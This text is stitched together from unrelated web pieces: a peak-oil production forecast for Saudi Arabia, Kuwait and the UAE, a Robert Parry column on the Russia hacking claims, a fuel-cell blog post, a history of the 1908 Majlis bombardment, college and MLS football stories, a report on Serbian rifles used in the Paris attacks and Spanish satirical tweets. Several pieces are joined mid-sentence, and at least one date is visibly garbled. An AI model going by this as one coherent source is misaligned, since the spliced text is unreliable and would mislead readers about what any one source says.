Notional spare capacity stands at 4.0 mb/d, while our measure of effective spare capacity (excluding Indonesia, Iraq, Nigeria and Venezuela) stands at 2.85 mb/d. Although these volumes are physically producible, even this lower figure likely overstates what OPEC could actually shift onto the market given current prices and shortages in refinery upgrading capacity. Heavy, sour Saudi Arabian and Kuwaiti crude accounts for 88% of the effective spare capacity figure. In the absence of substantial discounts, these volumes might struggle to find buyers while sizeable amounts of refinery upgrading capacity remain offline for scheduled and unscheduled maintenance. Readily marketable spare crude capacity may therefore be much lower, and a more accurate reflection of current market tightness.
In other words, this IEA paragraph says that the world has only 0.35 mb/d spare capacity of readily marketable light sweet crude because the spare capacities of 2.20 mb/d from Saudi Arabia and 0.30 mb/d from Kuwait are hard to sell heavy sour crudes. In August 2007, energy analyst Bill Herbert reaffirmed IEA’s views when he said that “even if OPEC decides to open the spigot a bit more, it’s hardly a guarantee prices would stay in check. Most of OPEC’s spare capacity is in heavy sour crude oil, which must be processed in types of refineries that already are running at full capacity. There’s very little ability on the part of the supply system to respond to more demand”. Furthermore, the EIA Short Term Energy Outlook, 7 August 2007 stated that “The low level of surplus OPEC oil production capacity, which is primarily in heavy crude oil, remains a key reason for the continued tight market conditions…Further, the apparent unwillingness by OPEC to use available surplus capacity in the face of rising crude oil prices reduces any downward price impact that additional surplus capacity might have.” Given these statements by the IEA, Herbert and the EIA, the following forecast assumes no effective spare capacity of easily marketable Saudi Arabia crude.
It is also assumed that Saudi Arabia will produce their fields while maintaining the annual depletion rate, which is annual production as a percentage of ultimate recoverable remaining reserves, at less than 5.0%/yr. This should ensure that reservoir damage does not occur due to overproduction from their fields. The figure of 5.0%/yr was selected because it's slightly more than the annual depletion rate of remaining reserves reaching a previous peak of 4.5%/yr in the third quarter of 2006 (Fig 9), based upon estimated ultimate recoverable reserves (URR) of 185 Gb for Saudi Arabia. This figure of 5.0%/yr could be slightly optimistic. Tariq Shafiq, a petroleum engineer who was Vice President and Executive Director of the Iraq National Oil Company (INOC), said that a depletion rate of 4-5% is well within good reservoir management for large fields. In addition, Colin Campbell stated on page 7 of his ASPO Ireland Newsletter No. 80, August 2007 that “a Depletion Rate of 4.2%...sounds quite reasonable for a mature country like Kuwait, compared for example with 6.5% in the United Kingdom or 4.5% in the US-48”. If a lower forecast annual depletion rate is assumed then Saudi Arabia’s production rate would drop faster than is forecast (Fig 9).
The estimated URR of 185 Gb is equal to 150 Gb of non heavy crude plus 35 Gb of heavy crude. The 35 Gb includes the heavy sour crude fields of Safaniya and Manifa, which is slightly less than Horn's 2006 estimate of 37 Gb. The non heavy crude URR of 150 Gb includes 75 Gb for Ghawar (light) which is greater than Horn’s estimate of 66 Gb, 13 Gb for Abqaiq (extra light), 9 Gb for Berri (extra light), 6 Gb for half of the Neutral Zone and the remaining URR is assigned to Aramco’s other non heavy crude fields including Marjan, Qatif, Khurais, Zuluf, Shaybah, Abu Safah and Khursaniyah. The estimated URR is based on the information sources about Saudi Arabia, located at the end of this article and the previously mentioned Horn's 2006 paper. Furthermore, this estimate of URR 186 Gb, from this source, gives good support for the estimated URR of 185 Gb.
The possibility of a lower Saudi Arabia total URR exists. Based on this mathematical technique, this recent research “suggests that the Saudi Qt (or total URR) is only 150 Gb, which in turn suggests that Saudi Arabia is now over 70% depleted, with about 40 Gb in remaining recoverable reserves.” A 2006 research paper, using the same method, estimated a total URR of 160 Gb, as shown in this plot. Another source of oil reserves, prior to nationalization of Saudi Aramco in 1980, is a report titled “Critical Factors Affecting Saudi Arabia’s Oil Decisions”, published by the US General Accounting Office in 1978. As referenced on page 72 of Twilight in the Desert, this report stated that the remaining proven reserves as at the end of 1976 was 110 Gb with 70 Gb in the four super giants of Ghawar, Safaniya, Abqaiq and Berri. Cumulative production from these four giant fields was 26 Gb and cumulative production for all Saudi Arabia was 29 Gb. Thus, total proven reserves (produced and remaining) at the end of 1976 was equal to 139 Gb (29 Gb plus 110 Gb), of which 96 Gb (26 Gb plus 70 Gb) was attributable to the four super giants and 43 Gb (3 Gb plus 40 Gb) was attributable to the rest of the fields. This figure of 139 Gb does not include probable reserves, unlike total URR, and is less than the total URR estimates of 150 Gb and 160 Gb from the two research sources above. Allowing for the inclusion of probable reserves, heavy oil reserve upgrades and only small discoveries since the last giant field Shaybah was found in 1968, an appreciation from 139 Gb to the total URR of 185 Gb appears reasonable.
As of December 2007, Aramco’s total cumulative C&C production was 113 Gb, being 61% of the URR 185 Gb. Over half of the 113 Gb has been produced from the super giant Ghawar. Abqaiq, Berri and Safaniya have also been significant producers. Aramco has increased their production during this winter to 9 mbd according to recent OPEC quota increases. Aramco has produced over half of the estimated URR and the production curve is forecast to follow a typical post peak decline curve, shown by the red line in Fig 9. Unfortunately, the new production capacities from AFK, Shaybah expansion, Nuayyim and Khurais are not enough to offset decline from existing fields. Aramco has probably scheduled Manifa last because it will produce heavy oil which is less marketable than lighter grades.
Fig 9 - Saudi Arabia Crude Oil & Lease Condensate Production to 2020 (bottom up forecast) - click to enlarge
Figs 9 and 10 have been updated for Wikipedia Oil Megaprojects.. Although Khurais is forecast to produce 1.1 mbd, Matt Simmons doubts that Khurais will produce 0.8 mbd. This report stated that the “Khurais field west of the giant Ghawar field could potentially increase Saudi production by a further 800,000 b/d” and another report made a similar statement “Another potential project, at the Khurais field, could increase Saudi production capacity by 800,000 bbl/d”. These statements indicate that the forecast production of 1.1 mbd from Khurais might be too high.
There are three forecast scenarios from 2008 to 2080, shown in Fig 10. The solid red line shows a “Do Nothing” forecast scenario. This represents a production decline rate of 8%/yr which is equivalent to ultimate recoverable reserves of 148 Gb (billion barrels). This scenario is highly unlikely but serves as a useful lower bound for the forecast production profile. The “New Peak?” dashed red line represents a scenario for which another peak is attained. However, the inset in the chart explains that another 1.75 mbd would be required from other projects and infill drilling. This is highly unlikely and predicts that a peak in 2005 has passed. The “Bottom Up” dark blue line in Fig 10 represents the most likely scenario and includes the bottom up forecast to 2020 from Fig 9, followed by an annual production decline rate of 4.5%/yr.
Fig 10 - Saudi Arabia Crude Oil & Lease Condensate Production to 2080 - click to enlarge
Saudi Arabia has never directly admitted that it has passed peak C&C production, but in August 2004 a former OPEC president, Purnomo Yusgiantoro, admitted that “oil prices were at crazy levels, but that OPEC was powerless to cool the market…There is no more supply”. Thus, based on Yusgiantoro’s statement, in August 2004, Saudi Arabia’s C&C production was at maximum capacity of 9.5 mbd, up by a significant 1.1 mbd from April 2004 (EIA). Furthermore, on 11 April 2006, according to this source and requoted here, Platts quoted a Saudi Aramco spokesman saying that “Saudi Aramco’s mature crude oil fields are expected to decline at a gross average rate of 8%/yr without additional maintenance and drilling” and that “This maintain potential drilling in mature fields combined with a multitude of remedial actions and the development of new fields, with long plateau lives, lowers the composite decline rate of producing fields to around 2%.” Therefore, as of April 2006, Aramco’s crude oil production was forecast by this Aramco spokesman to decline at 2%/yr which means that Saudi Arabia has passed peak crude oil production.
These three sources provide additional information about Saudi Arabia’s production decline rates. Aramco Senior Vice President Abdullah Saif admitted that “One challenge for the Saudis in achieving this objective is that their existing fields sustain 5 percent-12 percent annual "decline rates," (as reported in Petroleum Intelligence Weekly and the International Oil Daily) meaning that the country needs around 500,000-1 million bbl/d in new capacity each year just to compensate”. The Schlumberger CEO said that “the industry is dealing with a phenomenon that is exaggerated by the lack of investment over the past 18 years. This phenomenon is the decline rate for the older reservoirs that form the backbone of the world’s oil production, both in and out of OPEC. An accurate average decline rate is hard to estimate, but an overall figure of 8% is not an unreasonable assumption.” The EIA also stated that a “challenge for the Saudis in achieving their strategic vision to add production capacity is that their existing fields sustain, on average, 6 to 8 percent annual "decline rates” (as reported by Platts Oilgram) in existing fields, meaning that the country needs around 700,000 bbl/d in additional capacity each year just to compensate for natural decline.”
Saudi Arabia C&C production was 9.5 mbd in August 2004. According to the previous EIA statement, Saudi Arabia needs 0.7 mbd additional capacity each year just to compensate for natural decline. Therefore, three years later, by August 2007, additional capacity of 2.1 mbd (3*0.7 mbd) would have been required just to compensate for natural decline. Since August 2004 there was a total capacity addition of only 1.1 mbd from these two projects as stated by Saudi Aramco’s Press Kit on their website. In late 2004, Qatif (including Abu Safah) began operations with production capacity of 0.8 mbd and in early 2006, 0.3 mbd capacity from Haradh III, 0.3 mbd (Fig 9), which leaves a shortfall of 1.0 mbd. This implies that Saudi production in August 2007 is 8.5 mbd, 1.0 mbd less than the 9.5 mbd production in August 2004, excluding capacity additions from infill drilling. Accordingly, this number of 8.5 mbd is slightly less than the number of 8.6 mbd for July 2007, from the EIA Short Term Energy Outlook, Table 3a, 7 August 2007. Based on the quotes and statements in this and the previous two paragraphs, it is highly unlikely that capacity additions from new projects, including infill drilling, are sufficient to compensate for existing production decline, and consequently the “Bottom Up” scenario in Fig 10 remains the most likely scenario.
6. Kuwait Crude Oil & Lease Condensate Production
It is assumed that Kuwait will produce their fields while maintaining the annual depletion rate below 4.5% which is slightly higher than its peak depletion rate of 4.1% on Oct 2006. The URR of Kuwait, including its share of the Neutral Zone, is assumed to be 60 Gb. This is based partly on Colin Campbell’s August 2007 newsletter which states that the balance of evidence points to a total URR of 53 Gb for Kuwait only (excluding the Neutral Zone - NZ). Adding in 6 Gb for half the Neutral Zone and rounding up gives a total URR of 60 Gb. This research estimates Kuwait URR to be 75 Gb, but if the most recent data point is treated as an outlier then the URR could drop to about 65 Gb. Furthermore, in January 2006, this surprise downgrade of remaining proven reserves to only 24 Gb, 25% of the BP Annual Statistics official figures of 99 Gb, with 15 Gb in its biggest field Burgan, adds further support to a URR of 60 Gb. The accompanying reserves data table shows the total produced and remaining proven reserves to be 60.2 Gb, including the NZ. This figure may indicate that the above URR might be too low, but given the insignificant new scheduled production capacity by KOC (Fig 11), the URR of 60 Gb will be assumed for forecasting the production rates.
As of December 2007, Kuwait’s total cumulative C&C production was 38 Gb, being 63% of the URR 60 Gb. Over half of the 60 Gb has been produced from the super giant Burgan. It is assumed that Kuwait will increase their production during this winter according to recent OPEC quota increases. Kuwait has produced over half of the estimated URR and the production curve is forecast to follow a typical post peak decline curve, shown by the red line in Fig 11. Unfortunately, the insignificant new scheduled production capacities from Project Kuwait Phase 1 and Sabriya GC-24 are not enough to offset decline from existing fields.
Fig 11 - Kuwait Crude Oil & Lease Condensate Production to 2020 (bottom up forecast) - click to enlarge
There are only two new projects shown in Fig 11, Project Kuwait Phase 1 and Sabriya GC-24, according to Wikipedia Oil Megaprojects. Project Kuwait, costing $US8.5 billion, which has been discussed in Kuwaiti parliament for ten years has still not been officially approved as of February 5, 2008. This extensive delay probably means that Project Kuwait’s key assets are difficult reservoirs similar to heavy oil which will comprise a large part of Kuwait’s future oil production.
The unsubstantiated production targets of the Kuwait Oil Company (KOC) are partly explained in their publication, The Kuwaiti Digest, on KOC’s website. The Jan-Mar 2006 issue stated that the KOC’s production target is 4 mbd, up 1.5 mbd from their current 2.5 mbd production at that time. However, the only significant project mentioned is the $US8.5 billion Project Kuwait which aims to raise production by only 0.37 mbd, over a 20 year period, which is small relative to the required 1.5 mbd increase. The Jul-Sep 2007 issue stated that “There may be surprises for our general readers – that we cannot reach our 4 million barrels per day strategy for 2020 without unlocking the potential partnerships of International Oil Companies (IOC).” In other words, the KOC is struggling to increase their output without assistance from the IOCs. However, even if an agreement can be made with the IOCs to start Project Kuwait and identify other projects, the time to first oil could be several years which means that decline rate in Fig 11 may only be a little less than forecast and that the minor peak of 2006 would not be exceeded.
There are three forecast scenarios shown below. The solid red line shows a “Do Nothing” forecast representing an equivalent URR of 53 Gb, which serves as a lower bound. The “New Peak?” dashed red line represents a scenario for which another minor peak is attained. However, the inset in the chart explains that at least another 0.49 mbd would be required from other projects and infill drilling. This is highly unlikely and predicts that a minor peak in 2006 has passed. The “Bottom Up” dark blue line in Fig 12 represents the most likely scenario and includes the bottom up forecast to 2020 from Fig 11, followed by an annual production decline rate of 4.5%/yr.
Fig 12 - Kuwait Crude Oil & Lease Condensate Production to 2080 - click to enlarge
Like Saudi Arabia, Kuwait has never directly admitted that it has passed peak C&C production. However, in November 2005, the Kuwait Oil Company admitted that Burgan, Kuwait’s biggest field and the world’s second largest, had passed peak. This admission is further supported by EIA data showing that Kuwait C&C production fell off a 2.6 mbd peak plateau in February 2006. As Burgan is Kuwait’s largest field, comprising at least 60% of the total URR, the Kuwait Oil Company admission provides strong evidence for Kuwait having passed its minor peak C&C production in 2006.
7. UAE Crude Oil & Lease Condensate Production
It is assumed that UAE will produce their fields while maintaining the annual depletion rate below 5.0% which is the same as its peak depletion rate of 5.0% on Oct 2007. The URR of UAE is assumed to be 45 Gb which is between the two following estimates. This chart predicts that the total URR is just over 43 Gb. Page 49 of this MIT source from August 1977 stated that the URR of Abu Dhabi, which holds almost all the oil of the UAE, was 49 Gb.
As of December 2007, UAE’s total cumulative C&C production was 26 Gb, being 57% of the URR 45 Gb. The drop in November 2007 was due to previously scheduled maintenance. UAE has produced over half of the assumed URR and the production curve is forecast to follow a typical post peak decline curve, shown by the red line in Fig 13. Unfortunately, the new scheduled production capacities do not start until 2009 and are not enough to offset decline from existing fields.
Fig 13 - UAE Crude Oil & Lease Condensate Production to 2020 (bottom up forecast) - click to enlarge
There are three forecast scenarios shown below. The solid red line shows a “Do Nothing” forecast representing an equivalent URR of 40 Gb, which serves as a lower bound. The “New Peak?” dashed red line represents a scenario for which another peak is attained. However, the inset in the chart explains that at least another 0.23 mbd would be required from other projects and infill drilling. This is highly unlikely and predicts that the peak in 2006 has passed. The “Bottom Up” dark blue line in Fig 14 represents the most likely scenario and includes the bottom up forecast to 2020 from Fig 13, followed by an annual production decline rate of 5.0%/yr.
Fig 14 - UAE Crude Oil & Lease Condensate Production to 2080 - click to enlarge
Also like Saudi Arabia, UAE has never directly admitted that it has passed peak C&C production. The scheduled maintenance in November 2007, reducing production by 0.6 mbd, may only serve to ensure that production remains at just over 2.5 mbd for 2008, as there has been no disclosure by UAE about the impact of this maintenance on future production rates. As UAE does not have any projects scheduled until 2009, it is likely that UAE has passed its peak in 2006.
8. Other Components of Total Liquids Production
Natural gas plant liquids show an increase in production due to OPEC projects from Saudi Arabia, Algeria, Iran and Qatar. Saudi Aramco’s most recent project schedule, released in June 2007, shows two significant NGPL projects to be completed by the middle of 2008: Hawiyah at 318,000 barrels/day and Khursaniyah at 290,000 barrels/day.
Fig 15 - World Natural Gas Plant Liquids Production to 2012 (bottom up forecast) - click to enlarge
Ethanol and XTL (BTL, CTL and GTL) production is forecast to almost double by 2012. Unfortunately, the increased production of government subsidised corn based ethanol in the USA is increasing the prices of many other food products.
Fig 16 - World Ethanol & XTL Production to 2012 (bottom up forecast) - click to enlarge
Processing gains are defined by the EIA as “The volumetric amount by which total output is greater than input for a given period of time. This difference is due to the processing of crude oil into products which, in total, have a lower specific gravity than the crude oil processed.” These gains are forecast to decline slowly based on the decline in C&C (Fig 3).
Fig 17 - World Processing Gains to 2012 (bottom up forecast) - click to enlarge
9. Additional Information Sources
For more forecasts please refer to this article by Khebab, Peak Oil Update - December 2007: Production Forecasts and EIA Oil Production Numbers and to Peak Oil Media Redux by Prof Goose, including this lecture by Dr. Albert Bartlett.
Further articles about Saudi Arabia, Kuwait and UAE:
by Stuart Staniford
by Euan Mearns
by Gail the Actuary
by Jerome a Paris
by Heading Out
by Khebab
by AceExclusive: Despite conflicting accounts about who leaked the Democratic emails, the frenzy over an alleged Russian role is driving the U.S. deeper into a costly and dangerous New Cold War, writes Robert Parry.
By Robert Parry
The rising hysteria about Russia is best understood as fulfilling two needs for Official Washington: the Military Industrial Complex’s transitioning from the “war on terror” to a more lucrative “new cold war” – and blunting the threat that a President Trump poses to the neoconservative/liberal-interventionist foreign-policy establishment.
By hyping the Russian “threat,” the neocons and their liberal-hawk sidekicks, who include much of the mainstream U.S. news media, can guarantee bigger military budgets from Congress. The hype also sets in motion a blocking maneuver to impinge on any significant change in direction for U.S. foreign policy under Trump.
Some Democrats even hope to stop Trump from ascending to the White House by having the Central Intelligence Agency, in effect, lobby the electors in the Electoral College with scary tales about Russia trying to fix the election for Trump.
The electors meet on Dec. 19 when they will formally cast their votes, supposedly reflecting the judgments of each state’s voters, but conceivably individual electors could switch their ballots from Trump to Hillary Clinton or someone else.
On Thursday, liberal columnist E.J. Dionne Jr. joined the call for electors to flip, writing: “The question is whether Trump, Vladimir Putin and, perhaps, Clinton’s popular-vote advantage give you sufficient reason to blow up the system.”
That Democrats would want the CIA, which is forbidden to operate domestically in part because of its historic role in influencing elections in other countries, to play a similar role in the United States shows how desperate the Democratic Party has become.
And, even though The New York Times and other big news outlets are reporting as flat fact that Russia hacked the Democratic email accounts and gave the information to WikiLeaks, former British Ambassador Craig Murray, a…Sofcpower hopes to use their fuel cell technology to bring major advances to the world’s aging electrical grids and home heating systems. Currently in prototype, the EnGen 500 has two models which are about the size of a home water heater and can produce 500W or 1000W respectively.
A Solid Oxide Fuel Cell (SOFC) converts the chemical potential of natural gas (and other gaseous fuels) into electric power. The SOFC usually consists of a zirconium or cerium oxide electrolyte. The fuel is consumed at the anode thanks to the air accessed at the cathode.
Fuel Cells have operation temperatures around 600 ͦC to 1000 ͦC (1100 ͦF to 1800 ͦF). This hot temperature ensures that no catalyst is needed; various fuels can be used (biogas, landfill gas, syngas); and that the exhaust is ideal for cogeneration at home or a generation plant.
From an environmental standpoint, the only emissions are water and carbon dioxide; while typical emissions from combustion-type generation like NO x, SO x, and VOC emissions are eliminated.
All of which sounds perfect for smart grid technology.
Smart grids work a little bit like the internet. The grid routes the energy to the destination along the most efficient path at any given moment. This means that in the case of a cascading outage, like the one seen in 2003, the lights will still run along most of the grid.
Sofcpower claims they can produce energy at grid parity costs once they start mass production. They also state that due to the high efficiency and energy savings, the system does not need any outside funding. This is an impressive claim.
Further, Sofcpower’s Fuel Cells have been known to have electrical efficiencies of 60% and as high as 90% when in cogeneration mode! This is no competition to traditional generation in Europe at 35% efficiency.
For the sake of efficiency, smart grids must be designed to access energy from the most effective source at the time. For the sake of the environment, the grid must also be accessible to all power sources, prioritizing renewable sources and local generation. While from an economic standpoint, the supply must also be secure, reliable and cost effective.
It seems to me then that with the right planning and engineering, smart grid technology and fuel cells will be able to improve our aging grid. I just hope it takes effect before another great blackout like the one in 2003.
Image courtesy of Sofcpower.The 1908 bombardment of the Majlis of Iran took place on 23 June 1908 in Tehran, during the Iranian Constitutional Revolution, when the Persian Cossack forces, commanded by Vladimir Liakhov and the other Russian officers, bombarded and by that suppressed the Iranian parliament, the Majles.[1]
History [ edit ]
Mohammad Ali Shah Qajar, the Shah of Persia, who ascended the throne in January 1907 was against the constitution of 1906 ratified during regime of his father Mozzafar-al-Din Shah.[2]After his ascension, in August 1907 an Anglo-Russian agreement divided Iran into a Russian zone in the North, a British zone in the South, and a neutral zone in the center. The British switched their support to the Shah, abandoning the Constitutionalists.[3] The Shah later tried to subdue and eliminate the Majles with the military and political support of Russia and Britain.[4]
Parliament of Tehran - image of 1906
As the constitutional revolution was going on in Persia, the Shah kept himself confined to his residence at the Bagh-e Shah fort in the west of Tehran. He took the help of Cossack Brigade to control the revolution and left the city of Tehran at their mercy.[5][4] The loyalty of the Cossack Brigade was fully guaranteed, not only by the purge done by commander Vladimir Liakhov earlier, but also by the king's distribution of a special bonus earlier in 1908.[6]
Russian colonel Vladimir Liakhov who was the commander of the Cossack Brigade, lead the force in shelling the Majles and executing several leaders of the Constitutional Movement on June 23, 1908. His forces then also plundered the parliament and damaged the building.[5] This event lead to the beginning of a period known as the "Minor Tyranny |
was also asked during a November conference call whether the federal government should override the will of the people in states with medical marijuana laws. "Medical marijuana is not something that the, quote, people want," McCain replied.
Bruce Mirken, a spokesman for the advocacy group Marijuana Policy Project, said he remains hopeful that the federal climate will improve, no matter who becomes president.
"All it takes," he said, "is for the Justice Department to say, 'Leave these states alone.' "
Green views: Environmentalists find John McCain inconsistent. A5Enlarge By Kevin C. Cox, Getty Images For LSU, the rivalry with Alabama is bigger than just a win or a loss. The two teams will play each other for the fourth consecutive season and both teams still have a shot at the SEC West title. CAMPUS RIVALRY CAMPUS RIVALRY Get the latest news and buzz from the world of college football in Campus Rivalry. READ THE LATEST POSTS READ THE LATEST POSTS Read all posts Whereas Alabama usually has been on equal footing over the past few decades with in-state rival Auburn and border combatant Tennessee, LSU has been on a virtually rival-less island. The Tigers no longer play in-state Tulane annually after that series lost its luster when the Green Wave failed to win from 1983 to '96. The Mississippi rivalry was meaningful in the 1950s and '60s. BIG EAST: Two more schools coming to the conference BIG 12: Texas needs two more wins to qualify for postseason play The Southeastern Conference even threw in a trophy for the LSU-Arkansas game after the Razorbacks joined the SEC in 1992. But "The Boot" has not exactly made the blood boil between border schools that seem more like casual neighbors. The only opponent that really gets LSU seeing red is Alabama. "It's a rivalry," LSU sophomore cornerback Morris Claiborne said. "Everyone's going to be there. We've lost two in a row to them. In my eyes, it's just bigger than the others. I haven't been around much, but since I've been here I've been hearing the talk and people pumping it up." This game has been highlighted on LSU's calendar since the spring. "We circled that one on the schedule," Tigers tailback Stevan Ridley said. "We definitely want that win. I don't think we need any more motivation. We've lost to Alabama two straight years now. We're going out there with something on our mind and on a mission to beat 'Bama. Oh yeah, definitely, Alabama's our rivalry. You know your big games. It's like the holidays. When a holiday's coming up, you get nervous and you get excited." LSU and Alabama will meet for the fourth consecutive season with each still in range of an SEC West title. "They've really had probably as good of a run as anybody in the last eight to 10 years," said Crimson Tide coach Nick Saban, who is 2-1 against LSU with Alabama. "This is one of the premier programs in our league. That's what we aspire to try to be." LSU won the national title in the 2007 season. Alabama won it last season. "Whenever you line up against Alabama, it's a big game. Let's prepare well so we can let it rip and let our best team present itself," said Tigers coach Les Miles, who is 3-2 vs. Alabama with LSU. "When you hear Alabama, you think of championships," LSU guard Josh Dworaczyk said. "I remember getting recruited by them. The letters all said how many championships they won. Historically, they have great teams and championship teams. But no, I didn't want to go there. As far as the recent rivalry with LSU, there's been a lot of great games. It's always the game for LSU." Despite back-to-back losses to the Tide, LSU remains amid its greatest run in the Alabama series at 7-3 since 2000. Alabama used to make Louisiana a red state and still leads 24-6-2 in Tiger Stadium, which usually is tough on opponents. Alabama coach Paul "Bear" Bryant won 11 in a row vs. LSU from 1871 to '81 and was 16-4 while with the Tide. From 1971 to '98, Alabama was 14-0-1 in Tiger Stadium. "For my grandfather, the big game was always Tulane. But that was a long time ago," LSU center Bobby "T-Bob" Hebert said of Bobby Hebert Sr. "The Alabama game was always real big, but he doesn't talk about it a lot because they could never beat Alabama back then. I think for people now, the game is the Alabama game." LSU did not begin beating Alabama regularly until Saban became the Tigers' coach in 2000. The first win against the Tide in Tiger Stadium since 1971 was that season, and Saban finished 4-1 vs. Alabama — the best by an LSU coach against the Tide. But Saban left a season after the 2003 national title for the NFL, only to return to college at Alabama in 2007. Saban resurfacing at Alabama three years after leaving LSU did more to energize the Tigers-Tide rivalry than any boot could ever do for Arkansas-LSU. Saban was hung in effigy at an apartment complex near LSU for a pep rally the night before the game two years ago. "People are still going off the Nick Saban-Les Miles thing," LSU quarterback Jordan Jefferson said. "We got a national championship a few years ago. They got one last year," Ridley said. "The Saban-Miles thing fuels the fire." Miles said he disagreed, but he was the one who called out the Alabama program a month after Saban became coach in January 2007. At the annual Bayou Bash recruiting party that February, Miles said, "We have a new rival in (expletive) Alabama," as a few thousand fans roared. After Saban lost to LSU and to Louisiana-Monroe in the 2007 season, Miles joked at a speaking stop the following summer that Alabama couldn't beat Louisiana schools. Saban has not publicly taken shots at Miles and usually praises him, though many credit Saban's recruiting and imprint on LSU's program for Miles' 34-6 record (19-5 SEC) over his first three seasons. That dipped to 17-9 (8-8) over the past two seasons after Saban's recruits exited. "Les has done a fantastic job there," Saban said. "His record speaks for itself in terms of what he's been able to accomplish. They continue to recruit well. They've got good players. They've got a great staff. They do a really good job of developing their players." Miles took a high road this week, too. "I've never really looked at this game as being about the coaches," he said. "I have great respect for Coach Saban, felt like and feel like he's done a great job. I really think it's about LSU and Alabama's players and taking it to the field and playing an aggressive, college game that's going to be noteworthy. I'm not focused on in any way on comparisons between myself and Coach Saban." Ridley said he saw a difference in Miles during Alabama weeks, though. "He really gets fired up," he said. "It's a big game for everybody. It's big for the fans. It's big for the coaches. It's big for us. Every inch, we're going to battle." We've updated the Conversation Guidelines. Changes include a brief review of the moderation process and an explanation on how to use the "Report Abuse" button. Read moreThe Chicago Fire added to their retooled roster with the addition of veteran midfielder Nick LaBrocca, the club announced on Wednesday.
LaBrocca was a free agent coming off a three-season stint with the Colorado Rapids, and was signed on a one-year contract with a club option for the second year.
"Nick's experience, versatility and comfort on the ball make us a better team," said Fire general manager Nelson Rodríguez in a team statement. "He also has a terrific work rate and will be an important role model within the locker room."
Check out more Chicago news at Chicago-Fire.com
The 31-year-old, who has played for the Rapids in two separate stints (2007-10, 2013-15), has also featured for Toronto FC (2010) and Chivas USA (2011-12), where he was an MLS All-Star in 2011. He has scored 18 goals and 18 assists in 220 MLS regular season games.The Argentinian had a hand in 18 goals last year and he’s going to be out until at least June. How will FC Dallas adapt their game in his absence?
The former Real Salt Lake player was signed to be a like-for-like substitution for Mauro Diaz. While he may fill the hole tactically, it’s doubtful that we will see Diaz level production out of him in the number ten role. Additionally, he’s 37 years old and will have to be rested often and may even sit out for games on turf. He may be an adequate Band-Aid solution, but I don’t expect him to be the answer to all of FC Dallas’ problems.
Morales also showed signs of a decline last season. Despite appearing in 29 games in 2016, he only tallied four assists. The 2015 season he recorded twelve assists even though he played nearly identical minutes. If this trajectory is any indication of how he will play this season, it's hard to be optimistic about Dallas' record through the spring. If Morales struggles early look for Pareja to begin to give Paxton Pomykal minutes to see what the young homegrown can bring to the table.
The 4-4-2
FC Dallas broke the bank on striker Cristian Colmán, but Urruti’s effort alone may find him a spot in the starting XI. On paper it makes sense, Dallas has two strikers and a current lack of a dominant number ten, playing with two up top would play to their strengths. This formation would rely on the wingers creating chances for themselves and Colmán and Urruti using their height and speed to create problems for the defense. There is one major problem; Kellyn Acosta is not the creative player Diaz is. He may put in the leg work necessary as a box to box midfielder, but he cannot create the chances Diaz did.
The 4-4-2 was adopted at the end of last season after Diaz’s injury and FC Dallas failed to create chances when other teams refused to adopt the high defensive line that FC Dallas needed to score goals. The 4-4-2 without Diaz depends on long through balls that the fast wingers and strikers can run onto. To be more successful this go around with the 4-4-2 FC Dallas would have to maintain a high line and desperately try to win the ball high up the field so that they could be just one pass away from a goal scoring opportunity and minimize what will be rocky interplay between the defense-minded Gruezo, Acosta, and the isolated wingers. This also solves the problem of the vacuum of space near the center of the pitch. If Acosta and Gruezo press diligently then there will be no problems with only playing two players in the center of the pitch and if the back line presses high enough, then there will not be a pocket of space for the opposing midfield to work in when Acosta is caught up field out of possession.
On a more optimistic note, the Urruti-Colmán combination could prove deadly. Colmán dropping deeper and holding up play for Urruti, Barrios, and Lamah to run in behind could give opposing center backs fits, and if crosses are pumped in from wide areas with any regularity, then Dallas could see an unprecedented amount of production from their strikers.
It's nearly impossible to replace a player of Diaz's caliber, but these are just two of the strategies Papi and Co. may utilize until June.Image copyright Reuters Image caption Zastava Arms said the rifles used in the attack were produced in 1987 and 1988
Several weapons used by militants during the Paris attacks were made in Serbia in the late 1980s, the head of a Serbian arms factory has said.
Milojko Brzakovic, director of the Zastava Arms factory, said they checked the serial numbers of around eight rifles received from police.
The M70 assault rifles were part of a batch sent to military depots in Slovenia, Bosnia and Macedonia, Mr Brzakovic told the Reuters news agency.
The Paris attacks claimed 130 lives.
Gunmen opened fire or set off bombs at seven locations during the attacks on 13 November.
"There's no doubt they were produced by us, we were the only producer then, and we have serial numbers of everything we ever produced, but in the 1990s anyone could get a hold of them in army depots," Mr Brzakovic told Reuters.
The M70 rifle is a modified Yugoslav version of the Soviet AK47.
Zastava Arms, based in the town of Kragujevac and previously known as Zavodi Crvena Zastava, served as the only state arsenal for small arms for the now-defunct communist-era Yugoslav army and police.
After the Balkan wars of the 1990s, many military weapons stayed in the hands of citizens.
Many of these weapons have found their way to Western Europe by being smuggled in small quantities, says Nils Duquet of the Flemish Peace Institute.
There have also been reports of weapons from the former Yugoslavia being used by Syrian rebels in the Syrian civil war.Tremending
Por Christian González
¡Ya es viernes!
Acabamos una semana repleta de noticias. Una semana en la que se celebró la Fiesta Nacional de España, con desfile de autoridades y Ejército incluídos
El jefe del Estado, como no, presidió la parada militar, como en las grandes naciones
Vais muy de demócratas pero luego bien que ponéis al ejército a desfilar saludando a un líder que no ha elegido nadie. — Kim Jong-un (@norcoreano) 12 de octubre de 2016
Allí se encontró con sus colegas y todos juntos posaron para las fotos
El cuñado y hermano de los imputados en Noos saluda al jefe de los imputados en Gurtel pic.twitter.com/ZL3lCXiROO — Eterno Primavera (@SiPeroNo1) 12 de octubre de 2016
El otro orden de cosas, Bob Dylan fue proclamado premio Nobel de Literarura. Una elección inesperada para muchos
Me sorprende el Nobel a Dylan, yo le había perdido la pista desde que dejó Sensación de vivir. — laquintacolumna (@laquintacolumna) 13 de octubre de 2016
Por supuesto, él se ha tomado todas esas críticas con deportividad
–¿Qué haces, Dylan?
–Escribir una novela.
–¿Con la guitarra?
–Con lo que me sale de los huevos. pic.twitter.com/xpDyHD3bOX — Hugo Izarra (@HugoIzarra) 14 de octubre de 2016
Yo, personalmente, tampoco entiendo a los que se quejan…
Os alarmáis porque le den un premio de literatura a Bob Dylan como si no le hubieran dado premios de música a Bisbal. — Kim Jong-un (@norcoreano) 13 de octubre de 2016
Pero si de algo hemos hablado estos días ha sido de corrupción. La semana comenzaba con la noticia de que el PP utilizaba un Powerpoint para explicar cómo financiarse en negro. En cualquier país un escandalazo que haría caer al Gobierno. Aquí, un suma y sigue
¿Qué es corrupción?, me dices
mientras inhabilitas jueces y tratas de parar juicios.
¡Qué es corrupción!
